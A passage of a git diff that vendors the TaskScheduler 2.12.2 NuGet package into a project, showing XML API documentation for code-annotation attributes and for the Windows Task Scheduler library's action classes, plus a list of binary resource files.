+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/de/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..ae0a81a Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/de/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/es/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..58a405d Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/es/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/fr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..1cee339 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/fr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/it/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..9304816 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/it/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/ja/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..0ce27b8 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/ja/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/pl/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..77124d8 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/pl/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/ru/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..8059136 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/ru/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/sv/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..b208754 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/sv/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/tr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..72647a5 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/tr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..c4a36bc Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..d93fa15 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000..e2e3969 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.xml b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.xml new file mode 100644 index 0000000..741ff76 --- /dev/null +++ b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.0/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7855 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to 